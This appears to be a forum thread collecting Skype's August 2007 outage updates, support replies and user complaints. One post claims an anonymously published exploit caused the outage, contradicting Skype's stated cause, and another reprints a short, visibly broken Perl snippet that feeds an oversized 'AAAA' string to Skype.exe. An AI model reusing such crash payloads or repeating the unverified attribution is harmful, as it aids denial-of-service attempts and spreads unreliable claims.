Where we are at 1100 GMT
By Villu Arak on August 17, 2007. Hello all,
As Europe has woken up to a new day and Asia is entering the evening hours, here’s the latest on the sign-on problem.
We’re on the road to recovery. Skype is stabilizing, but this process may continue throughout the day.
An encouraging number of users can now use Skype once again. We know we’re not out of the woods yet, but we are in better shape now than we were yesterday.
Finally, we’d like to dispel a couple of theories that we are still hearing. Neither Wednesday’s planned maintenance of our web-based payment services nor any form of attack was related to the current sign-on issues in any way.
We’ll update you again as soon as we can. Thanks for hanging tight.
Looking slightly better at 0700 GMT
By Sten on August 17, 2007.
Hey,
even though it is too early to call out anything definite yet we are now seeing signs of improvement in our sign-on performance. We continue to monitor the situation through Europe waking up this morning and have more for you in approximately 4 hours.
My client is now occasionally bringing in stacks of unread multichats. Hope yours too.
Where we are at 0400 GMT
By Sten on August 17, 2007.
Hello,
just wanted to drop a line that everyone at Skype working on resolving the sign-on issue is still up. We’re fixing issues in our networking software and monitoring the clients getting online with increased success.
It’s been a loooong day (and night) for many and we are gradually moving to new shifts of fresh brains to help out those getting to well deserved few hours of sleep. Be sure that the Skype family as a whole will not retire before you can get back to all the Skype conversations you want, need or just feel like having. Sorry for keeping you split that long.
(Updated at 5:00GMT)
Further on the sign-on issue
By Villu Arak on August 17, 2007.
Hello again,
Everyone at Skype continues to work hard at resolving the current software issue. We are making good progress. We feel that we are on the right track to bring back services to normal.
We thank you for your continued support and are thinking of you every step of the way.
(Updated at 2:15am GMT)
The latest on the Skype sign-on issue
By Villu Arak on August 16, 2007.
Hello everyone,
Apologies for the delay, but we can now update you on the Skype sign-on issue. As we continue to work hard at resolving the problem, we wanted to dispel some of the concerns that you may have. The Skype system has not crashed or been victim of a cyber attack. We love our customers too much to let that happen. This problem occurred because of a deficiency in an algorithm within Skype networking software. This controls the interaction between the user’s own Skype client and the rest of the Skype network.
Rest assured that everyone at Skype is working around the clock — from Tallinn to Luxembourg to San Jose — to resume normal service as quickly as possible.
(Updated at 10pm GMT)
Добавлено (2007-08-17, 7:11 Pm)
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DeWinter,
Due to Peer-to-Peer network issues problems might occur when trying to sign into Skype.
We are aware of this and are working very hard to restore full service as quickly as possible.
We thank you for your continued support and are thinking of you every step of the way.
Due to this issue we have been facing extremely high volumes of customer inquiries and we would greatly appreciate it if you would not send more support tickets letter unless the service is fully restored and you are still facing difficulties.
For up-to-date info about all our services please take a look at our Heartbeat page:http://heartbeat.skype.com/
We sincerely apologize for any inconvenience that this may cause.
Добавлено (2007-08-17, 11:05 Pm)
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На форумах SecurityLab анонимным пользователем был опубликован экплоит, по предварительным данным вызвавший сегодняшнее массовое отключение Skype.
Программа использует стандартный клиент Skype для звонка на специальный номер. По предварительным результатам такой звонок вызывает отказ в обслуживании текущего сервера Skype, что приводит к замене его на другой. Новый сервер Skype также "замирает" и так далее. Таким образом атака с молниеносной скоростью распостраняется по всей пиринговой сети Skype.
Добавлено (2007-08-17, 11:06 Pm)
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#!/usr/bin/perl
# Simle Code by Maranax Porex ;D
# Ya Skaypeg!!
for ($i=256; $i>xCCCCC; $i=$i+256){
$eot='AAAA' x $i;
call_sp();
}
exit;
sub call_sp(){
$str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\"";
}
Добавлено (2007-08-17, 11:08 Pm)
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Skype these days is as bad as it can get.
Ever since eBay took over Skype the quality is going downhill, from voice quality to software errors, and now a complete outage of Skype for 48 hours already.
We have disconnected phone lines and used Skype-In and Skype-Out, but that is pretty much worthless now since Skype is simply not working any longer.
WHAT in the world are those d**n programmers doing? - What was wrong last Tuesday, when Skype was still working? All they need to do is roll back the software - but instead they are using the paying Skype Community for Skype testing.
The quality of Skype these days and a 48h+ outage is completely unacceptable.
It is time for all Skype users to realize that the quality is now becoming so bad, that Skype is useless and worthless. Get off it, use Vonage instead and say good bye to Skype that just proved to be another one of those Dot-Coms that just went belly up!!!!
I hope the press will pick up on the latest Skype garbage soon and let people know that it is no longer worth using this software.
Don't waste your time any longer with Skype - it is time to get off it now and request a refund for Skype credit that you payed, Skype-In, Skype-Out, and the minutes you all paid for!!!
Добавлено (2007-08-17, 11:42 Pm)
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Хаха двое суток прошло наконецто в европе скайп заработал
поздравте буржуев они вместо дву часов продлили всё 48 часов
ну они ведь в Скайп ™ просто дебилы 
НО ИНОГДА ОТРУБАЕТСЯ :(
Добавлено (2007-08-18, 7:34 Pm)
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Скайп пашет)))
